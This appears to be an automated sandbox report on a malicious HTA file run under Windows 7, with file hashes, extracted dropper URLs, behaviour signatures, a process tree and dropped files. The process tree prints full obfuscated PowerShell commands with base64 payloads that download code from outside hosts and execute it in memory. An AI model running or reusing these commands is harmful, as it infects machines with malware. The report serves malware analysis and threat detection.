Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    17-12-2024 06:32

General

  • Target

    sweetnesswithgreatnessiwthbestthingswithmebackickmegreatthings.hta

  • Size

    144KB

  • MD5

    920910732ff13da38fab9224e65041d6

  • SHA1

    844226d370dc471fa282eaad9e8dabaf59963902

  • SHA256

    7467651082b81c0e0ac5c64b4821fcd49070b5d15c88e1a716f948bdac88b544

  • SHA512

    1efe02ba682bd628bacebebe8f283276c1ebc6db3bcc3956c59b840d3677d94a6ca18f95182daf8a5d1587a830b2a2cc69d6a9c31a2672c29f8aa294e19cebf7

  • SSDEEP

    768:t1EQuPoGCMum2oum2H5KUJDVUKhCoGVf/Atu360KuBxvmm0wYWzP9k4/k4/k4/kk:tG

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734050991/unxaooiykxfmw9pan4z1.jpg%20

exe.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734050991/unxaooiykxfmw9pan4z1.jpg%20

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Evasion via Device Credential Deployment 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\sweetnesswithgreatnessiwthbestthingswithmebackickmegreatthings.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:1708
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C pOwErSheLl -eX UNrEsTRiCTeD -nop -w 1 -c dEVicecReDENTiAlDePLoymENt ; iNvOkE-exPRESSion($(inVOke-eXpResSIOn('[sYSTeM.tEXt.ENcodInG]'+[cHar]58+[CHAr]58+'UTf8.gEtsTrInG([sYstem.cOnvErt]'+[chAR]0x3a+[cHAR]58+'fRomBASe64sTRiNG('+[chaR]34+'JEU2UjVuZzltV0sgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNQmVyZEVGSU5JdElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBTVWNYSWF1bmJwLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3VCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2VibUNiUm9qWnksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYVXRRSUt0TXdsLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBOaFpXcnNRcSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAielRXUFRRV3oiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lU3BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUk1SYmloTWttdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRFNlI1bmc5bVdLOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMjMuOTUuMjM1LjI5LzQzOS93ZWFyZXVzaW5nZ29vZGNvbXBhbmllc2ZvcmdpZml0aW5nYmVzdGhpbmdzZm9ybWV0b2dldC50SUYiLCIkZU52OkFQUERBVEFcd2VhcmV1c2luZ2dvb2Rjb21wYW5pZXNmb3JnaWZpdGluZ2Jlc3RoaW5ncy52YlMiLDAsMCk7U3RhUnQtU2xlZXAoMyk7SU52T0tlLWV4UFJFc1NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVx3ZWFyZXVzaW5nZ29vZGNvbXBhbmllc2ZvcmdpZml0aW5nYmVzdGhpbmdzLnZiUyI='+[CHar]34+'))')))"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2500
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        pOwErSheLl -eX UNrEsTRiCTeD -nop -w 1 -c dEVicecReDENTiAlDePLoymENt ; iNvOkE-exPRESSion($(inVOke-eXpResSIOn('[sYSTeM.tEXt.ENcodInG]'+[cHar]58+[CHAr]58+'UTf8.gEtsTrInG([sYstem.cOnvErt]'+[chAR]0x3a+[cHAR]58+'fRomBASe64sTRiNG('+[chaR]34+'JEU2UjVuZzltV0sgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNQmVyZEVGSU5JdElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBTVWNYSWF1bmJwLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3VCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2VibUNiUm9qWnksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYVXRRSUt0TXdsLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBOaFpXcnNRcSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAielRXUFRRV3oiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lU3BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUk1SYmloTWttdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRFNlI1bmc5bVdLOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMjMuOTUuMjM1LjI5LzQzOS93ZWFyZXVzaW5nZ29vZGNvbXBhbmllc2ZvcmdpZml0aW5nYmVzdGhpbmdzZm9ybWV0b2dldC50SUYiLCIkZU52OkFQUERBVEFcd2VhcmV1c2luZ2dvb2Rjb21wYW5pZXNmb3JnaWZpdGluZ2Jlc3RoaW5ncy52YlMiLDAsMCk7U3RhUnQtU2xlZXAoMyk7SU52T0tlLWV4UFJFc1NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVx3ZWFyZXVzaW5nZ29vZGNvbXBhbmllc2ZvcmdpZml0aW5nYmVzdGhpbmdzLnZiUyI='+[CHar]34+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2204
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vu1w6zka.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2664
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE255.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCE254.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2804
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\weareusinggoodcompaniesforgifitingbesthings.vbS"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1268
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $antimagistrical = 'JGVmZm9ydGxlc3MgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHp2YWk4NnVoL2ltYWdlL3VwbG9hZC92MTczNDA1MDk5MS91bnhhb29peWt4Zm13OXBhbjR6MS5qcGcgJzskY2FyZGlnYW5zID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskc3BoYWNlbGlhID0gJGNhcmRpZ2Fucy5Eb3dubG9hZERhdGEoJGVmZm9ydGxlc3MpOyRjb3NtZWEgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkc3BoYWNlbGlhKTskZG9vbXNheWVycyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskcmVzdGFnbmF0aW9uID0gJzw8QkFTRTY0X0VORD4+JzskS2FzaHViaWFuID0gJGNvc21lYS5JbmRleE9mKCRkb29tc2F5ZXJzKTskxZNjb25vbXVzID0gJGNvc21lYS5JbmRleE9mKCRyZXN0YWduYXRpb24pOyRLYXNodWJpYW4gLWdlIDAgLWFuZCAkxZNjb25vbXVzIC1ndCAkS2FzaHViaWFuOyRLYXNodWJpYW4gKz0gJGRvb21zYXllcnMuTGVuZ3RoOyRvdmVybW9kdWxhdGVkID0gJMWTY29ub211cyAtICRLYXNodWJpYW47JHJlZnJpZ2VyYXRvcnkgPSAkY29zbWVhLlN1YnN0cmluZygkS2FzaHViaWFuLCAkb3Zlcm1vZHVsYXRlZCk7JHVuYW5jaG9yZWQgPSAtam9pbiAoJHJlZnJpZ2VyYXRvcnkuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJHJlZnJpZ2VyYXRvcnkuTGVuZ3RoKV07JHNwaXJpbGx1bXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR1bmFuY2hvcmVkKTskeHlsb2xpdGUgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRzcGlyaWxsdW1zKTskcGhvc3BoYXRpemVzID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JHBob3NwaGF0aXplcy5JbnZva2UoJG51bGwsIEAoJzAvd21NdEgvci9lZS5ldHNhcC8vOnNwdHRoJywgJyRjZWRhcnMnLCAnJGNlZGFycycsICckY2VkYXJzJywgJ0Nhc1BvbCcsICckY2VkYXJzJywgJyRjZWRhcnMnLCckY2VkYXJzJywnJGNlZGFycycsJyRjZWRhcnMnLCckY2VkYXJzJywnJGNlZGFycycsJzEnLCckY2VkYXJzJywnJykpOw==';$periblem = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($antimagistrical));Invoke-Expression $periblem
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2596

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabFF86.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RESE255.tmp

    Filesize

    1KB

    MD5

    f4d0fe9038ac68a83d24390bfcbfc0e6

    SHA1

    a0a9df39337cbcb8c9e617de727e42933e893fe6

    SHA256

    a8827c747a8134a05fc15022ed86e6110dd0894eef1a3f1042225c0d50ce0f65

    SHA512

    1ed19a47a17cc0c8a5df84886036f4ef26dc05655e00ec24a5e51e12066550cdd8bd55dc07699452b432999e62c8de6f4fc77b7d689b8f37f1de8555941da557

  • C:\Users\Admin\AppData\Local\Temp\TarFFA8.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\vu1w6zka.dll

    Filesize

    3KB

    MD5

    32a8ac5ebf5a4395cb002ad4e7adc750

    SHA1

    4747a418ab50d931a8462a906672d9819893a037

    SHA256

    fc44fe241bb7384919367e7f4761d502ac58839934554480ddf04f7192455c08

    SHA512

    193eadcf1fbd44b7249394b0622e7bf9ce3aad534dbe35733616b573489bb7bfa51671515e5fa75594b90f28e989368cad060f6e84cb32c83ede36eb43aff2dd

  • C:\Users\Admin\AppData\Local\Temp\vu1w6zka.pdb

    Filesize

    7KB

    MD5

    23b69700d50fe96d99c3da43427ff4d2

    SHA1

    961035dcc9f6aa68e755173d56807f9ea7204f54

    SHA256

    5fb45fb9367a6ab20b9d1bb595635de40efe3de1df9faad78d81371ba3af4374

    SHA512

    7c2918e80af7f7caa60c6a717cf18514e7989beb67f1e0e78408d866c778b13680d0af34e8a4d7f8ecd8969b2ed132912320b8588fa1e14461a4a73fc04f408f

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1CTZSLX05JU5EDSNNX5S.temp

    Filesize

    7KB

    MD5

    0590a484e54bbbb0c2d40b674f4f42d0

    SHA1

    c2157e00adf0754d2af297fe67644dc7f013b697

    SHA256

    d76a389a92a743f9de1c62923c0daf7b3616171f2dcb27fb9426a904db863d80

    SHA512

    c2f9d024da5cad09291aeb1fb702b8f0b6cb6b5a8d1f067af02d9aa238dc8d26b1294e1ae043f7ab076c221266b7784d2c79891ac53061d7c5af0e9ca491fa55

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    ec949a3ec8713261706c4cc67781ef3b

    SHA1

    22ef39e2acfcba8efe7cd1abca991bc3b4e8728c

    SHA256

    2e1ed123f5ecc9b0f0ae12915e6db45835f3786a6d5267bfa35d3db9c7866aec

    SHA512

    ac5506150bf4c25fd994749e5445c312ddde5b62a173ef0e03aaa6e49e1c2235c46caefcc30b5770da09be4ae9a1066548f3d0438c6cbadf244eb2f61412fb0f

  • C:\Users\Admin\AppData\Roaming\weareusinggoodcompaniesforgifitingbesthings.vbS

    Filesize

    150KB

    MD5

    622118455f9b3d92190edecb9f5a70e4

    SHA1

    ec47a3f75a1a3e197a2745f75015160da5190d76

    SHA256

    d9b6d65cd5e6206ccb41a4d12a0a1cf8d55de31d786cf085d9632e5eaf66914a

    SHA512

    3af7582cd5b8e7ddd5c23f5477fa3f595fdb851e0b7faf51f167c716b0a50ca4cc6af824b8409ca5745ccc72bc56bbfe201c3b6a7630f04a6e2e84ee248bcf91

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCE254.tmp

    Filesize

    652B

    MD5

    d0cdc60663572f830fa57364a4d389c8

    SHA1

    4a2e4ac450aecefe6db02528dc955735e9422a16

    SHA256

    5930809203533107e4e4a9302005b0cd78e2edaa9c1ea4ded34835decfc51940

    SHA512

    3e38cbd08958c023fdaf24b01b316f78c067d24fbdeff10218114a1a9127b65c2e3f1e6260273e7b2dedb868acce84885bec6c5218bb8ddcca4a8c9007964d32

  • \??\c:\Users\Admin\AppData\Local\Temp\vu1w6zka.0.cs

    Filesize

    498B

    MD5

    dcfc222ae4a88432f5653314f96c284c

    SHA1

    f38c92dfe6c331d9eede174861c22b5cb24d1236

    SHA256

    65b8df15d3df5605ff17738e203c4ad07a534be67bbb493d36a5ef1cbff2733e

    SHA512

    75d2ace08f5908213cf61ccc5c378871d0b5ce47e98221e8c49f4f758216ae0a606799064011011d713c0187c2722700f808fe5138a0cd4320870251c70ecaf7

  • \??\c:\Users\Admin\AppData\Local\Temp\vu1w6zka.cmdline

    Filesize

    309B

    MD5

    075285945e3e5b56ce19a311186ea107

    SHA1

    5956c9da7609f1b8fd3b68a9f1385629cd2afaff

    SHA256

    310f509786bdf1caccfb724ec6e1bdcb0ec69f914069f88d0a458b0617c92203

    SHA512

    47c07daec212a028f9fab9e9649ebf40f46f942ffabca0dbf960791398643a35ccfbca8bb9dba41a22ccd2617f5da9c518528dc874682a9c62671c689640a852